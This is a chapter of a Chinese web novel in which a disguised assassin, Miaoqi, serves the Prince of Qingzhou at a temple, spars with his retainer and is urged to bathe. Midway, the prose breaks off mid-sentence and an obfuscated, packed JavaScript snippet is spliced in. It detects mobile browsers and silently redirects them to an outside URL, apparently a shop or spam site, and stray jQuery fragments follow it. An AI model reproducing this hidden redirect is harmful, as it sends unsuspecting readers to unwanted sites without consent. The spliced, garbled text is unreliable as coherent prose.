回寮院的路上,渺七同应安和行明走在前头,裴皙反而与应平落在后头。
应安一早没活动,又提起要和行明切磋之事,行明却转朝渺七说起话,问她:“不知谢施主在隐门中时,除了习剑还学些什么?”
果然,嚷着要切磋的应安即刻将注意转到渺七身上,丝毫没察觉行明是有意转移话题,不过没发觉的不止他,渺七也未察觉,反而一本正经回道:“刀枪鞭棍都能学。”
只要是能杀人的,玄霄都有人教。
应安听罢接过话:“想不到教得竟挺杂,不过只教舞刀弄枪吗?隐门中人,听起来琴棋书画也应精通才是。”
“这些也学。”
玄霄中人除了杀人行刺,亦有行窃或刺探密报之时,有时需接近达官贵人而不杀之,所以除了教习十八般武艺外,易容术、追踪术、毒术、机关术甚至火药术都有人教。
至于琴棋诗书画,那些通常是进入日院后才学的,日院极为神秘,其院首极少登岛露面,但听闻他是个文人,为日院定下了众多规矩,而入日院者往往需要文武兼修。
渺七身为星院杀手,对日院杀手的日常之事所知甚少,她,又或者说星院之中的所有杀手,所做之事仅仅是领命杀人,做一柄好剑或好刀,亦或者旁的什么武器,星院之中只有佼佼者能进月院,月院中佼佼者再入日院。
应安听罢却不大相信似的,问她:“既如此,你为何还如此鲁莽?”
“你难道不鲁莽?”
口吻真挚到应安几乎语噎,瞪着眼珠子看渺七半天才闷闷说:“好啊,你竟是这般看我,那稍后回院中我们比试一番。”
果真一派莽夫举止。
行明闻言但笑不语,渺七则一口应下,回院后便跟应安打了一架,结果自然是她将人打得无力还招,汗水滴滴答答往地上砸。
“不妥不妥,没力气了。”应安扶着院墙道,“等吃完晌饭再打不迟。”
一听应安说起晌饭,渺七毫不恋战收起剑来,不过正要将剑缠回腰带间,就听裴皙的声音传来。
“谢仲孝,剑可否借我一瞧?”
渺七动作一顿,转头看去老松下。
石桌上架着棋枰,裴皙此前与行明在松下对弈,眼下行明已然盯着棋局入定,裴皙则静静看着渺七。
渺七只眨了眨眼,随后便抬脚走去石桌前,将手中剑递出。
决定学剑的第一天,谢离告诉渺七兵器乃性命,一个杀手断不能抛下自己的兵器,那无异于抛下自身性命,而将自己的兵器交与旁人更是无异于将自己的命交与旁人。
所以,谢离将自己的利剑交给她砍竹子时便已经将自己的命交与她,而最后他也同他的剑葬在一处。
好生奇怪,人的性命为何会在于物?
渺七那时不明白,她问谢离,如若杀手的性命是兵器,那她此前又用什么充当性命呢?
谢离回她:“此前你的性命就是你的性命,但入生地狱时,你便不再有性命,你的命便是你的剑。”
渺七还是不大明白,如今离开玄霄,她便更不明白。
如果在竹林中那日她想到这个疑问,她应当会在谢离问她是否有话要对他说时问上一句,可惜想起得太迟。
而眼下她将剑递给裴皙,是想试试看她的性命是否就是这柄腰带剑,交到旁人手中是否便是将性命交出。又或许她还有别的意图,但渺七一时想不清楚。
裴皙握住剑柄之时,手腕轻颤,剑身如灵蛇游弋,在空气中划出琅琅声。
所有剑器中,软剑尤为难习,缠、抖、扫、割皆讲究速度和力道,否则威力大不如重剑。渺七选习软剑是因为它好听,那位霍教习挥出软剑时,剑音如海浪翻涌而来,如天外来音,渺七喜欢那样的声音。
霍教习是个寡言之人,但她曾与渺七说,剑响即见刃,听挥剑人挥出的第一声剑响,便可以听出此人是否会剑,故而渺七此刻认定裴皙会剑术,还会软剑。
想也知道,数年之前他还是声名煊赫的太子殿下,必定是习过武的。
但裴皙仅仅抖了那一下,随后便垂下眼眸,细细端量剑刃。
不知为何,渺七总有一种她已教他识破的感觉,但又不太确定,因为裴皙若是认出她是谁,此刻剑刃应该已经割破她的脖颈才是。
果然,她看不懂他。无论她到过青州几次,听多少人谈论过他,她都看不懂他究竟是怎样一人。
裴皙说瞧便只是瞧,瞧完不予评价,就像先前不评价那三僧所论之道那般。
他抬眼看向杵在他面前的少年,只见一双澄明的眼同样盯着他看,眼底好似充满探究,又仿若空无一物。然后,他朝她递出手中剑。
渺七眨眨眼,分不清他们究竟谁握着谁的性命,如若她是前来杀他的,她接过剑时,他必死无疑。至于他死之后她能否活下去,便不是鲁莽如渺七会考虑的事了。
她收回剑缠回腰间,裴皙倏地问起:“身在佛门,与以往在隐门中时可有什么不同?”
渺七想了想,如实答他:“在佛门吃得香,睡得也香。”
裴皙低低笑声,竟打趣道:“所以今早才迟迟不醒?”
“……”渺七默了默,说,“明日我会早些醒的。”
“晚些醒也无妨,你千里迢迢而来,想必路途颠沛。”
“不对啊谢仲孝,”那端应安缓过劲儿来,闻言走近问渺七,“你既是青州人,何不等我们回青州再登门自荐,偏要来这里寻我们。”
“因为我很急。”
她说得面无表情,应安不免语噎,单瞧这副模样他可瞧不出这人很着急,裴皙闻言却只是一笑。
这时,静坐在棋枰边的行明忽然有了动作,合掌道:“阿弥陀佛,是小僧又输了,多谢青州王赐教。”
应安时时缠着他切磋拳法,他又何尝不是时时缠着这位青州王切磋棋艺呢?
“输是自然,”应安乐呵呵开口,“天底下除了太后娘娘,再无旁人赢过我们王爷。”
“你怎知再无旁人赢过我?”
应安瞪眼:“以往您与人对弈,我从未听说你说过有人赢你。”
“我输给那人时,你我尚不相识。”
“原来如此,想必那人定是个德高望重的高人。”
渺七:“……”
他所说之人莫不是她?
那他这时提起这事,当真是已经认出她来吗?
思索间,两个小沙弥从洞门外进来,各拎两只食盒,送来今日午斋,渺七便立时忘了这茬。
行明随两个小沙弥一同告辞离去,院中只剩下青州王与他的三名侍从。
今日应安没有犯错,与其余三人同坐,不过吃饭时便记起仇来,尤其是见渺七埋头吃素馄饨吃得认真,更为不平,忍不住道:“大哥,今
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317534|198990||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日谢仲孝冲撞了慧观法师,你为何不罚他?”
应平看一眼他,又看一眼裴皙,道:“罚与不罚,是王爷的事。”
应安翘首,但等了会儿没等到裴皙发话,便低声咕哝:“以往王爷不罚我你也会罚我。”
“我能以兄长身份罚你,却不能以兄长身份罚他。”
应安无奈长叹声,再看渺七,仍吃得津津有味,好似置身事外般,便更觉气闷。
真是个又丑又怪的人,不过心倒挺宽。
……
此后数日间,渺七不是挑水便是同应安比试,应安屡战屡败,越发来了劲,渺七虽未尽全力,却也不胜其烦,故而这日天初亮就躲出屋去。
应安醒来之后,果真一早就到渺七门外叩门,叫了好些声也无人响应,索性破门而入,见人不在又钻出屋,恰巧撞见裴皙和应平回院,难得拘谨站定。
“王爷,大哥。”
“佛寺清净之地,整日闹闹腾腾像什么话?”应平斥责道。
裴皙则扫过应安身后,即刻笑说:“既然精力旺盛,今日就同行远小师父下山采买。”
“啊?我还想和谢仲孝打会儿呢,也不知他一大早跑去哪儿了。”
“啊什么?”应平又训,“行远师父才出山门不久,你跑快些还追得上他。”
“是!”
应安飞也似的奔出院,渺七这才打个哈欠,从老松之上跃下,当着二人面踱回屋去,掩上房门。
应平:“……”
怎么总觉得这小子比应安还鲁莽?
“王爷?”
裴皙似笑非笑,道:“由他去吧,两日后回青州,你且安排着。”
“是。那您的身体?”
“已无大碍。”
话尽于此,渺七在门后听到此处,默默躺回床榻之上。
没有应安的寺院格外寂静,鸟鸣喈喈,花香浅淡,渺七原想思考一些事,但很快便昏昏入睡。
及至一觉醒来,混似小神仙,不知人间时辰,只觉腹中空空。
渺七检查一番脸上的易容,重新推门出去,松阴清影之下,行明又与裴皙静坐对弈,渺七只望上眼,便朝小院外去。
毕竟这几日除了挑水,裴皙从不给她安排差事,然而今次她刚走出两步就教裴皙叫住:“谢仲孝。”
渺七停下脚,困惑转身。
“你上山几日了?”
“已是第五日。”
“伤势如何?”
“已无大碍。”
“那可曾沐浴?”
“……”渺七摇头。
“夏日里常出汗,还需勤沐浴,以免生病。”
渺七曾在泥地打架滚得满身淤泥,也曾在海中浮游一连腥臭几日,故并不觉得眼下她有多脏。但芙生离去后,还是头回有人催促她沐浴。
果真他还是和从前一样爱管闲事。
渺七心底这般想着,面上却好不老实,点点头道:“我这便去。”
说完又作势往外,却再度教裴皙拦下:“去哪儿?”
“溪里?”
“……”
行明这时微笑道:“谢施主说笑,灵应寺内有香客浴堂,只管前往便是,小僧在此谢过施主近日挑来的水。”
渺七表示知晓,转身出院,却非去寻浴堂所在,而是前往五观堂。
天大地大,吃饱最大。